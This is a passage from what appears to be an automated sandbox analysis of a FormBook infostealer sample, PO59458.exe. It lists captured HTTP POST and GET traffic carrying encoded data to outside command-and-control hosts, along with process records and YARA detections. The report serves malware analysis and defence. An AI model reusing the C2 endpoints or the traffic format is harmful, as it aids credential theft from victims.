37 35 55 71 2f 6c 57 4c 43 42 61 53 72 53 6c 42 57 73 51 47 6a 34 53 67 3d 3d Data Ascii: 6v1=7UZkThwU1hrUWtu5hwpErFJb2hJ1MwlqqhUvrpPanBi5RgmL/hLnKVrlMbvCW5JzK7dtBJl7zJ/NO28Qi2UZWQrBbIj1SVYvoypcZjq88WVO3Sd9VwAnTTwehtavIC+Q+O4wEwWVDstHwQI9bpnTwghOTxhnl8erDIJbkUYRi+75Uq/lWLCBaSrSlBWsQGj4Sg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	49814	75.2.103.23	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:03.504424095 CEST	808	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 45 65 32 35 6a 54 78 45 6a 46 4a 59 72 52 4a 31 56 41 6c 75 71 68 59 76 72 74 32 48 67 7a 47 35 51 42 57 4c 74 67 4c 6e 4c 56 72 6c 56 72 76 48 62 5a 4a 6b 4b 37 41 65 42 49 31 37 7a 4a 72 4e 4f 7a 51 51 69 42 41 61 58 41 72 35 51 6f 6a 7a 57 56 59 76 6f 79 70 63 5a 6e 43 47 38 57 64 4f 32 6d 5a 39 55 52 41 6f 64 7a 77 64 6f 4e 61 76 44 69 2b 55 2b 4f 35 58 45 31 32 2f 44 70 68 48 77 55 41 39 66 6f 6e 51 36 67 68 49 63 52 67 58 6a 4d 4c 38 47 37 6f 72 71 7a 34 4a 6f 37 72 57 56 38 75 2f 4c 35 32 6c 5a 42 33 67 68 78 76 45 53 45 69 6a 50 72 4a 58 38 43 6a 72 67 47 48 58 7a 49 52 42 37 75 6f 49 67 55 34 3d Data Ascii: 6v1=7UZkThwU1hrUEe25jTxEjFJYrRJ1VAluqhYvrt2HgzG5QBWLtgLnLVrlVrvHbZJkK7AeBI17zJrNOzQQiBAaXAr5QojzWVYvoypcZnCG8WdO2mZ9URAodzwdoNavDi+U+O5XE12/DphHwUA9fonQ6ghIcRgXjML8G7orqz4Jo7rWV8u/L52lZB3ghxvESEijPrJX8CjrgGHXzIRB7uoIgU4=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	49815	75.2.103.23	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:06.145422935 CEST	2578	OUT	POST /okq4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.webeuz.buzz Origin: http://www.webeuz.buzz Referer: http://www.webeuz.buzz/okq4/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 37 55 5a 6b 54 68 77 55 31 68 72 55 45 65 32 35 6a 54 78 45 6a 46 4a 59 72 52 4a 31 56 41 6c 75 71 68 59 76 72 74 32 48 67 7a 4f 35 52 7a 75 4c 75 48 6e 6e 61 6c 72 6c 4b 62 76 47 62 5a 4a 6c 4b 37 59 53 42 49 35 46 7a 4c 54 4e 50 52 59 51 71 56 73 61 64 41 72 35 66 49 6a 32 53 56 59 66 6f 79 5a 51 5a 6a 6d 47 38 57 64 4f 32 67 31 39 43 77 41 6f 4e 44 77 65 68 74 61 5a 49 43 2b 38 2b 4b 55 6f 45 31 36 46 44 39 64 48 77 31 38 39 5a 4b 50 51 6e 51 68 4b 64 52 67 50 6a 4d 57 37 47 37 31 59 71 7a 6b 33 6f 38 33 57 58 71 62 58 62 6f 7a 36 44 42 37 32 75 42 6a 4c 55 79 37 79 53 35 70 79 77 53 44 73 6a 53 6a 48 74 5a 39 52 68 4c 73 38 79 30 4f 6f 73 57 33 2b 62 55 62 76 58 64 65 53 47 64 57 30 4c 54 43 48 56 74 32 73 57 46 4b 55 6a 63 63 37 77 41 59 79 2f 6f 33 2b 48 53 39 58 45 5a 42 4e 68 50 58 70 4d 77 39 59 56 31 63 69 51 67 69 54 77 78 65 6f 6e 42 31 6a 48 4a 67 2f 4e 6b 54 6f 41 77 44 6f 48 48 79 74 30 54 5a 7a 6c 61 2f 7a 31 75 72 67 41 48 31 4f 48 46 77 36 4d 59 45 34 47 37 4b 7a 32 72 [TRUNCATED] Data Ascii: 6v1=7UZkThwU1hrUEe25jTxEjFJYrRJ1VAluqhYvrt2HgzO5RzuLuHnnalrlKbvGbZJlK7YSBI5FzLTNPRYQqVsadAr5fIj2SVYfoyZQZjmG8WdO2g19CwAoNDwehtaZIC+8+KUoE16FD9dHw189ZKPQnQhKdRgPjMW7G71Yqzk3o83WXqbXboz6DB72uBjLUy7yS5pywSDsjSjHtZ9RhLs8y0OosW3+bUbvXdeSGdW0LTCHVt2sWFKUjcc7wAYy/o3+HS9XEZBNhPXpMw9YV1ciQgiTwxeonB1jHJg/NkToAwDoHHyt0TZzla/z1urgAH1OHFw6MYE4G7Kz2rirzB9iYlJL8po+wOeVjSoQHOncXDxB1LBatHv7LvW+Rpj+UGZU650NtX1AzU5FNs5yeEryfjWpMlL+DEcj7AGV/Q2D6QGp1EIY0j4ozQ61/sbRdPHAZwewk50tSUKJ0JYn876Jp/mMCwx9ixGG0Nb9UuOm7IpKu9HLs+00ARW1zyKcphS8FvCvVq8NjhAe5eMv4WHj3oYE4NROKex+6kx0WR/W3RIaHzwX+UxHTT3t0HPtcPIecWmxzSCXsd9x8NJjyKePTR4eMwUBJl1pShbgvg7/R8aEcVUmIp+ZfatB/uvfDQ2AJdlffLcC9RU9m0ahilw8lXzkdS8AbrQ2g+xShHAm0z7dKOd90fMn2fqdXBy3YJUX97VV4f/s6S1+BotxBcH0uvTU3RKh4H9yqk5pgTwLUK7qyLP1ZiJ5zDxvnoiuF3lENJcJsUbu+zjIB+Yy3ifI5GzDvBvlNdChZGlvkSXZYB6dEB4dTV29+pRBfQu7vBNgrvOxXcm1BmN3m+N41F59fKW2aq15/OPipp6JAtys5nHJzdR+K3sQqCcJCa6S+KS5Drn+1ESv/HiCqd2OV1jnn0ridEZf607KePQQvE+VrSGbes5aNeFstEWq3H0h8e1r9mA0z3x/hRHcY7jw3t8KtAQWdftyKbMoeyCpxI7DyNeOsmmA [TRUNCATED]
Oct 8, 2024 15:28:06.145493031 CEST	5379	OUT	Data Raw: 61 46 44 66 64 64 30 54 6c 2f 48 6b 45 37 4b 64 64 45 72 65 41 55 39 48 6e 54 78 63 68 73 64 55 72 30 72 79 43 75 43 61 75 73 75 6a 61 67 42 74 46 4b 77 34 2f 76 6b 32 42 41 62 6d 31 72 31 74 2b 43 4d 71 35 47 42 73 5a 78 4e 6f 58 5a 68 4d 61 7a Data Ascii: aFDfdd0Tl/HkE7KddEreAU9HnTxchsdUr0ryCuCausujagBtFKw4/vk2BAbm1r1t+CMq5GBsZxNoXZhMazyaeab7heyS57XJHRaPFOoCJFHl8mFYBdEBMCJrwMYHeKY3kfPHSKIXVyOe3hziWviZ/XkxwQYN1K9BNgIpPuyGdRnCoiohSBq2zxdMLkndLzS1uieXfceo/1oEWuHTs4bb6oWVnMBxmCEgYSyhb8tQ7ZfDDSoWU0C

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	49816	75.2.103.23	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:08.782223940 CEST	529	OUT	GET /okq4/?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.webeuz.buzz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:28:08.884637117 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:28:08 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 26 36 76 31 3d 32 57 78 45 51 55 34 54 2f 42 4c 37 65 63 65 62 6a 43 56 36 73 31 39 43 32 78 55 4a 55 67 6c 6b 31 41 70 34 72 73 43 4b 67 55 47 52 49 33 58 7a 78 69 4c 39 62 57 6a 77 45 4b 57 5a 63 38 46 2f 48 6f 64 70 66 36 46 5a 36 4f 37 66 48 7a 4d 63 68 78 30 6b 58 33 7a 70 65 4f 44 4f 56 57 30 31 75 56 6b 44 51 47 4c 64 79 55 4e 6a 79 68 52 71 61 6b 42 67 4b 7a 51 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	49817	213.249.67.10	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:14.079336882 CEST	812	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6c 61 62 5a 6f 72 78 2f 66 30 4e 4f 4d 7a 63 5a 2f 35 6f 52 39 76 35 30 6b 50 76 42 30 78 65 79 55 4b 2f 72 7a 4e 65 62 34 6e 61 52 71 39 49 53 67 31 79 38 46 6f 69 57 44 72 5a 73 2b 65 48 7a 72 74 72 50 47 53 44 53 6f 36 66 37 33 53 78 71 65 2f 61 6b 38 44 41 6b 65 4f 68 6e 6b 6f 72 2f 42 4f 6f 5a 46 54 51 57 30 6c 38 57 63 4a 30 42 58 4d 75 41 45 57 7a 71 35 75 49 45 54 38 77 44 5a 56 62 7a 31 51 75 79 34 66 65 76 35 48 63 31 70 38 74 72 38 5a 71 67 6b 6f 4c 78 75 6d 55 74 42 56 77 68 55 4d 78 52 4a 74 32 65 54 35 31 30 37 46 53 6c 50 67 3d 3d Data Ascii: 6v1=+tYB4be7WXPXlabZorx/f0NOMzcZ/5oR9v50kPvB0xeyUK/rzNeb4naRq9ISg1y8FoiWDrZs+eHzrtrPGSDSo6f73Sxqe/ak8DAkeOhnkor/BOoZFTQW0l8WcJ0BXMuAEWzq5uIET8wDZVbz1Quy4fev5Hc1p8tr8ZqgkoLxumUtBVwhUMxRJt2eT5107FSlPg==
Oct 8, 2024 15:28:14.257078886 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:28:14 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	49818	213.249.67.10	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:16.779634953 CEST	832	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6a 36 48 5a 6b 6f 5a 2f 5a 55 4e 50 4a 7a 63 5a 74 35 6f 56 39 76 31 30 6b 4e 43 65 30 48 4f 79 55 72 50 72 68 2f 6d 62 37 6e 61 52 6b 64 49 64 39 6c 7a 77 46 70 65 30 44 75 5a 73 2b 66 6a 7a 72 74 62 50 47 46 33 64 75 71 66 35 75 43 78 30 64 50 61 6b 38 44 41 6b 65 50 51 49 6b 73 48 2f 42 64 41 5a 48 79 51 56 39 46 38 56 57 70 30 42 41 38 75 4d 45 57 7a 63 35 72 52 76 54 2b 34 44 5a 51 6e 7a 32 43 57 78 79 66 65 70 30 6e 64 66 76 4f 67 47 7a 36 47 76 74 59 53 69 73 54 6f 43 4a 6a 68 37 4a 2b 46 31 4b 2b 71 73 58 4a 4d 63 35 48 54 2b 53 6f 53 41 38 4e 69 35 59 65 46 4f 75 6d 4a 72 47 45 74 68 38 55 30 3d Data Ascii: 6v1=+tYB4be7WXPXj6HZkoZ/ZUNPJzcZt5oV9v10kNCe0HOyUrPrh/mb7naRkdId9lzwFpe0DuZs+fjzrtbPGF3duqf5uCx0dPak8DAkePQIksH/BdAZHyQV9F8VWp0BA8uMEWzc5rRvT+4DZQnz2CWxyfep0ndfvOgGz6GvtYSisToCJjh7J+F1K+qsXJMc5HT+SoSA8Ni5YeFOumJrGEth8U0=
Oct 8, 2024 15:28:16.955704927 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:28:16 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	49819	213.249.67.10	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:19.483825922 CEST	2578	OUT	POST /mgmi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.onlineblikje.online Origin: http://www.onlineblikje.online Referer: http://www.onlineblikje.online/mgmi/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 2b 74 59 42 34 62 65 37 57 58 50 58 6a 36 48 5a 6b 6f 5a 2f 5a 55 4e 50 4a 7a 63 5a 74 35 6f 56 39 76 31 30 6b 4e 43 65 30 48 47 79 56 5a 48 72 7a 75 6d 62 36 6e 61 52 37 74 49 4e 39 6c 7a 35 46 6f 32 77 44 75 63 54 2b 64 72 7a 71 4f 6a 50 57 68 72 64 6e 71 66 35 7a 53 78 70 65 2f 61 78 38 43 77 67 65 4f 73 49 6b 73 48 2f 42 59 45 5a 44 6a 51 56 37 46 38 57 63 4a 30 46 58 4d 75 67 45 51 62 4d 35 72 6b 55 51 50 59 44 65 77 58 7a 7a 78 75 78 77 2f 65 72 34 48 64 48 76 4f 73 46 7a 36 62 55 74 59 58 2f 73 56 4d 43 4d 57 4d 63 59 2b 35 55 54 34 32 5a 55 34 63 54 31 33 54 69 51 59 61 42 7a 2b 43 4d 52 65 6c 66 78 33 68 63 53 6b 4a 77 70 55 52 73 55 49 48 6c 73 70 68 5a 76 2b 31 58 52 47 62 47 79 44 74 69 31 53 50 61 30 70 4a 32 4b 43 6e 32 47 65 34 32 39 33 52 6f 37 35 77 4d 54 39 76 4d 39 76 49 63 6e 48 49 73 6a 78 48 66 67 49 43 6f 35 64 70 73 6a 71 41 62 62 76 6f 65 64 72 67 5a 38 49 49 49 30 39 6a 58 4f 5a 64 69 6c 6a 62 50 69 75 48 30 76 79 50 63 4a 35 70 77 71 30 53 58 55 4e 44 35 4d 70 [TRUNCATED] Data Ascii: 6v1=+tYB4be7WXPXj6HZkoZ/ZUNPJzcZt5oV9v10kNCe0HGyVZHrzumb6naR7tIN9lz5Fo2wDucT+drzqOjPWhrdnqf5zSxpe/ax8CwgeOsIksH/BYEZDjQV7F8WcJ0FXMugEQbM5rkUQPYDewXzzxuxw/er4HdHvOsFz6bUtYX/sVMCMWMcY+5UT42ZU4cT13TiQYaBz+CMRelfx3hcSkJwpURsUIHlsphZv+1XRGbGyDti1SPa0pJ2KCn2Ge4293Ro75wMT9vM9vIcnHIsjxHfgICo5dpsjqAbbvoedrgZ8III09jXOZdiljbPiuH0vyPcJ5pwq0SXUND5MpgoN4fR8DwonsBO0LdTuGnN9O8Kze/GyQUCrg2e6CpCM/JOM72mYANgCXfr6WsI2z/cKDEC5L4yT9+yMS/SYNB5LDKWnQfX6RV7x0u8+v/vVXaDLh/z91fz5zrDvyx6J4wF2bx1Tav38ldB8XNcUNU/hHePoMO+OI6+79ilIkfLoekmpMbwdHg89X4g4XuHwZaXiSKgz3avNo7Y3LMcK0Rx/m1x70gvKVDQVJTr1jBb9Ytsisn0s2LRzA2ikNtLGxKiBiEj6Uoh5511iRikXaFsmwhfqt8oAfSLqa9+aSsYBI5GaEVFmJgdS9cGxQBp6czG5WBjFp7fItObcQ2bESicjnimxZgqgctyRLEWcbwNO9/3VJiJ/9nmw6ekC/petN9PkYM0W0LqwUCRauyJR4zOh5d8xEjDV96l3kcWhW6TwNug0B1A5N2ZuxLN+L0tqhlWcsyDPX5fDdBLy+MtQPMufiwCgsCQUxJKWqeUq0tIWWgU/7T8SISrvA5fWPYGgXtJLkJOt83Pvry/w+Cx3zZ1hpC9RnbixSPOSyeHLFuevyiqWwsD/RzMqUrVNItuSyej2pBHMdRIZv72G1oZCC/PKS6Zr0RAhwIQ+qhGeD9zp4poi8UnqaxNkhezA14qtDya1x6chf0dB/Hj2mKJlbznerx7TW9Zsbxo [TRUNCATED]
Oct 8, 2024 15:28:19.483850002 CEST	5156	OUT	Data Raw: 75 38 44 36 5a 69 2f 6c 47 42 7a 43 62 53 45 51 77 56 6f 37 77 43 32 4e 7a 32 4d 43 4f 72 53 38 6e 30 79 6e 61 45 49 66 79 32 52 79 42 4f 6d 4a 72 51 6c 7a 41 41 44 50 32 76 30 71 49 64 4f 45 4b 74 76 69 6b 66 78 79 73 69 62 65 79 48 41 2b 77 67 Data Ascii: u8D6Zi/lGBzCbSEQwVo7wC2Nz2MCOrS8n0ynaEIfy2RyBOmJrQlzAADP2v0qIdOEKtvikfxysibeyHA+wg4o6T7TDViIikQUF7c5dhjOxA6HwBJU/OFK4KvWNysNBsmMbg30fctGw9OIxv23bqJXIb6PUSB9jkV8Ih31Wa/pcZMYuZ407J0b2ufa23D5zvdtJ0XjCmmkav+Voj6BHYYm6/fjRElYZ7qjx3pRPQETMUO31yGms2w
Oct 8, 2024 15:28:19.483927011 CEST	247	OUT	Data Raw: 45 71 2f 47 32 55 7a 4f 67 30 6b 55 62 6d 69 56 63 56 4b 75 65 4d 4c 53 52 6f 78 71 69 79 64 2b 75 62 72 5a 2f 57 6d 30 42 66 45 58 66 63 32 5a 70 58 62 51 56 65 5a 4b 66 6f 68 70 59 69 48 55 2b 6b 45 4e 4e 50 34 2b 50 45 64 47 6e 44 2f 31 37 36 Data Ascii: Eq/G2UzOg0kUbmiVcVKueMLSRoxqiyd+ubrZ/Wm0BfEXfc2ZpXbQVeZKfohpYiHU+kENNP4+PEdGnD/176RsOZjStVKuZ6Dkp9kl1Ot5Sx69qXzIVcIeJWL+w3Bwurn7WkX6+d2dKUqHddUs8tTEV9b5xKYDpD0aJeFuFVVl0uLvLUba80YWIUWo+SkHyDA774thVTQTPhDAlsNOa08MGh+RcR2yKh192ywNKSIZyy/Zwl9mp0H
Oct 8, 2024 15:28:19.669789076 CEST	206	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:28:19 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.20	49820	213.249.67.10	80

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:28:22.183327913 CEST	537	OUT	GET /mgmi/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.onlineblikje.online Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:28:22.362562895 CEST	346	IN	HTTP/1.1 302 Found Date: Tue, 08 Oct 2024 13:28:22 GMT Server: Apache/2.4.56 (Debian) Location: https://onlineblikjes.nl/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	09:19:19
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\PO59458.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO59458.exe"
Imagebase:	0x400000
File size:	1'326'521 bytes
MD5 hash:	9219FA6E518CF0B9E93CDF38FBF4528A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	09:19:21
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO59458.exe"
Imagebase:	0x10000
File size:	47'016 bytes
MD5 hash:	B7C999040D80E5BF87886D70D992C51E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	09:19:59
Start date:	08/10/2024
Path:	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe"
Imagebase:	0xa40000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	09:20:00
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\raserver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\raserver.exe"
Imagebase:	0x720000
File size:	107'520 bytes
MD5 hash:	D1053D114847677185F248FF98C3F255
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	5
Start time:	09:20:13
Start date:	08/10/2024
Path:	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe"
Imagebase:	0xa40000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	09:20:25
Start date:	08/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff773f50000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true